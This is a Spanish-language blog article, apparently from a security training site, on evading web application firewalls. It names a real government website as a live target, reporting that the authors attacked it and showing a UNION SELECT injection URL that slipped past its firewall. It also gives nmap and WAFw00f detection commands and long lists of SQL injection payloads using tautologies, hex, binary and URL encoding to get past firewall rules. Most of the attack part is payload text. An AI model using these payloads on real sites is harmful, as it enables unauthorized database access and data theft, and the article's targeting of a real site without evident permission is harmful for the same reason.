¿Cómo hackear fácilmente Firewall de Aplicación Web (WAF)?

Share this…

Firewall de aplicaciones web se implementa típicamente en algún tipo de proxy justo en frente de las aplicaciones web, por lo que no se ve todo el tráfico en nuestras redes. Al monitorear el tráfico antes de que llegue a la aplicación web, firewall de aplicaciones web puede analizar las solicitudes antes de pasarlas. Esto es lo que les da una ventaja sobre el IPSS. Debido a que IPSS está diseñado para interrogar a todo el tráfico de la red, no pueden analizar la capa de aplicación tan a fondo como firewall de aplicaciones web según expertos de pruebas de penetración.
Aquí hay un ejemplo de MOD security WAF

URL normal

https://bpc.gov.bd/contactus.php?id=4

 

Detectado por MOD Security

https://bpc.gov.bd/contactus.php?id=4′ UNION SELECT 1,2,3– –

 

Sin detección:
https://bpc.gov.bd/contactus.php?id=.4’/*!50000UNION*//*!50000SELECT*/1,2,3,4,5,6,7– –

 

Ahora, antes de continuar nos gustaría compartir un hecho muy interesante sobre este sitio, este sitio es vulnerable desde hace mucho tiempo según diferentes expertos de seguridad perimetral. La última vez los hackers lo atacaron y se tomar el control del sitio. Esta vez, cuando comenzamos a atacar hemos encontrado que algo ha cambiado. El único cambio que hizo, es que ahora están utilizando dos soluciones de seguridad de la información. Es como si el administrador no quiere perder el tiempo en cambiar el código de la aplicación y eliminar la vulnerabilidad. Recuerde que firewall de aplicaciones web es una buena seguridad perimetral, pero no se puede simplemente dejar la aplicación vulnerable sin hacer pruebas de penetración y completamente depender de firewall de aplicaciones web para la seguridad.

 

Detectar el firewall de aplicaciones Web

Según investigadores de soluciones de seguridad de la información, hay muchas herramientas y secuencias de comandos que pueden detectar la presencia de huellas de WAF sobre una aplicación, que incluya pero no se limite

  • NMAP
  • WAFw00f
  • Verificación de los encabezados de respuestas
  • Verificación de la respuesta
  • etc.

 

Detectando firewall de la aplicación web usando NMAP

nmap -p80 –script http-Web Application Firewall-detect <host>

 

Fingerprinting WAF usando NMAP

 

nmap -p80 –script http-WAF-fingerprint <host>

Fingerprinting WAF usando WAFw00f

 

WAFw00f.py <url> 

 

Una vez que conoces el firewall de aplicaciones web con el que estas tratando, puedes buscar formas de hackear seguridad perimetral.

 

Técnicas utilizadas para hackear seguridad perimetral

Con ayuda de expertos de pruebas de penetración, vamos a aprender varias técnicas de hackear un firewall de aplicaciones web y una vez que hayamos terminado, vamos a acoplarlos y mezclarlos las técnicas entre sí para cortafuegos avanzados de aplicaciones web.

Diferentes tipos de codificación

Hay muchos tipos de codificación, algunos de ellos son respaldaos por el servidor de aplicaciones, algunos de ellos cuentan con el apoyo por la aplicación web y algunos otros son soportados por el servidor de base de datos. Cuando enviamos una solicitud esta pasa por muchas capas y diferentes tipos de aplicaciones antes de nuestra solicitud llegas a la base de datos, por lo que muchas veces somos capaces de utilizar diferentes tipos de codificaciones y doble codificación que no son compatibles con el servidor de base de datos, pero las otras aplicaciones en medio, pueden decodificar nuestra solicitud y pasarla al servidor de base de datos. Según expertos de pruebas de penetración, a veces tomar ventaja de este tipo de comportamiento nos ayuda a hackear un firewall de aplicaciones web.

Vamos a dar un ejemplo básico, hay un buen servidor de seguridad implementado en una aplicación. La aplicación ha obtenido una solicitud de parámetros que primero se codifican como Base64 y luego Rot13. Cuando se inyecta dicha solicitud nuestra solicitud será codificada y pasa firewall de aplicaciones web, la próxima cuando se llega a la aplicación se decodifica y luego se envía al servidor de base de datos. Aquí pasamos el firewall de aplicaciones web, ya que nuestra solicitud fue codificada y decodificada antes de que pasará a la base de datos.

De esta manera, hay muchos tipos diferentes de codificaciones que podemos utilizar para hackear un firewall de aplicaciones web por ejemplo, URL Encoding, Hexing, Binary, Unicode, etc. En primer lugar vamos a empezar con hackeo de las reglas de condición de pruebas que muchos firewalls de aplicaciones web están bloqueados estos días como:
Las verdaderos condiciones de bloqueos

1 or 1=1
1′ or ”=’
1″ or “”=”
1′ or true#
1″ or true#
1 or true#
etc.

Ahora vamos a mezclar un poco de sentido común y codificaciones para hackear este tipo de filtros:

or ‘1
|| ‘1
null’ || ‘a’=_binary’a
1′ || ‘a’=x’61
1′ && ‘0’=x’30
1′ %26%26 %270%27%3dx’30
2′ && 0.e1=_binary”0
1 or 1.e1=0b1010
‘ || 1 like 1
‘-‘
“-“
‘ || 2 not like 1
110 or x’30’=48
‘1’!=20
1 or 20!=’1′
2 and 2>0
3 || 0<1
12 || 0b1010<0b1011
0b11 || 0b1010x’30’
1 or 0b1
2121/**/||21
111′ or _binary’1
1 or 2121
1′ or 12 rlike ‘1

 

Según consultores de soluciones de seguridad de la información, usando las técnicas anteriores y mezclándolas hasta que puede generar miles de diferente payloads y técnicas. Aquí hemos utilizado la codificación Binary, Hex, así como algunas palabras clave para hackear. En realidad firewall de aplicación web detecta cualquier cosa maliciosa utilizando el conjunto de reglas definidas. Por lo que necesitamos generar algo diferente para confundirlos.

Si no entendieron anteriormente las técnicas aquí hay una explicación básica del uso de Binary, Hex, Like y Rlike en SQL
Binary
Select 1 from dual where 0b1010=10
Hex Type 1
Select 1 from dual where ‘0’=x’30’
Hex Type 2
Select 1 from dual where 0x30=’0′
Like statement
Select 1 from dual where 1 like 1
Rlike Statement
Select 1 from dual where 12 rlike 1
|| (OR)
Select 1 from dual where 1||1
&& (And)
Select 1 from dual where 1&&1

 

Como sabemos SQL no soporta la codificación URL, pero el servidor y aplicaciones web sí soportan. Así también podemos utilizar la codificación de URL para hackear firewall de aplicaciones web menciona experto de soluciones de seguridad de la información. Lo primero es entender cómo funciona. Algunas veces cuando un firewall basado en la red esta implementado o firewall de aplicaciones esto podría suceder que el firewall de aplicaciones web no está decodificando nuestra solicitud mientras que está comprando con el conjunto de reglas. Cuando nuestra solicitud llega al servidor o la aplicación, entonces se descodifica, y luego se pasa al servidor de base de datos. De esta manera la codificación de URL también nos ayuda a hackear firewall de aplicaciones web muchas veces.

Los siguientes son algunos ejemplos de URL codificada para hackear WAF:

%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%74

 

Usted no está obligado a utilizar la codificación URL sólo con unión select también se puedes codificar otras palabras clave u operadores.

Veamos algunos otros usos de codificaciones, aquí se asume un firewall de aplicaciones web se ha bloqueado o filtrada uso de ‘0x’ para filtrar uso de hex en tu inyección y comillas simples o dobles no están permitidos. Incluso a veces los firewalls de aplicaciones web usan para descodificar Hex de solicitudes y comprobar si hay contenido malicioso. Podemos tratar las siguientes formas de superar la situación.

Normal Hex (Blocked)
select 0x313131
Hexed Bypass Version
select x’313131′;
Binary Bypass
select 0b011110100110010101101110;
Bypass using functions
select unhex(x’333133313331′);
 

Y así podemos seguir adelante para hackear el firewall de aplicaciones web de muchas otras maneras. Ahora esto todo es la codificación básica y su papel en hackear el firewall de aplicaciones web. Según experto sde pruebas de penetración, algunas veces también puede utilizar la codificación UTF-8 URL para hackear firewall de aplicaciones web, lo cual también se puede aprender en el curso de seguridad perimetral.

En siguiente artículo vamos a cubrir más sobre seguridad de aplicaciones web y como hackear firewall de aplicaciones web con ayuda de expertos de soluciones de seguridad de la información.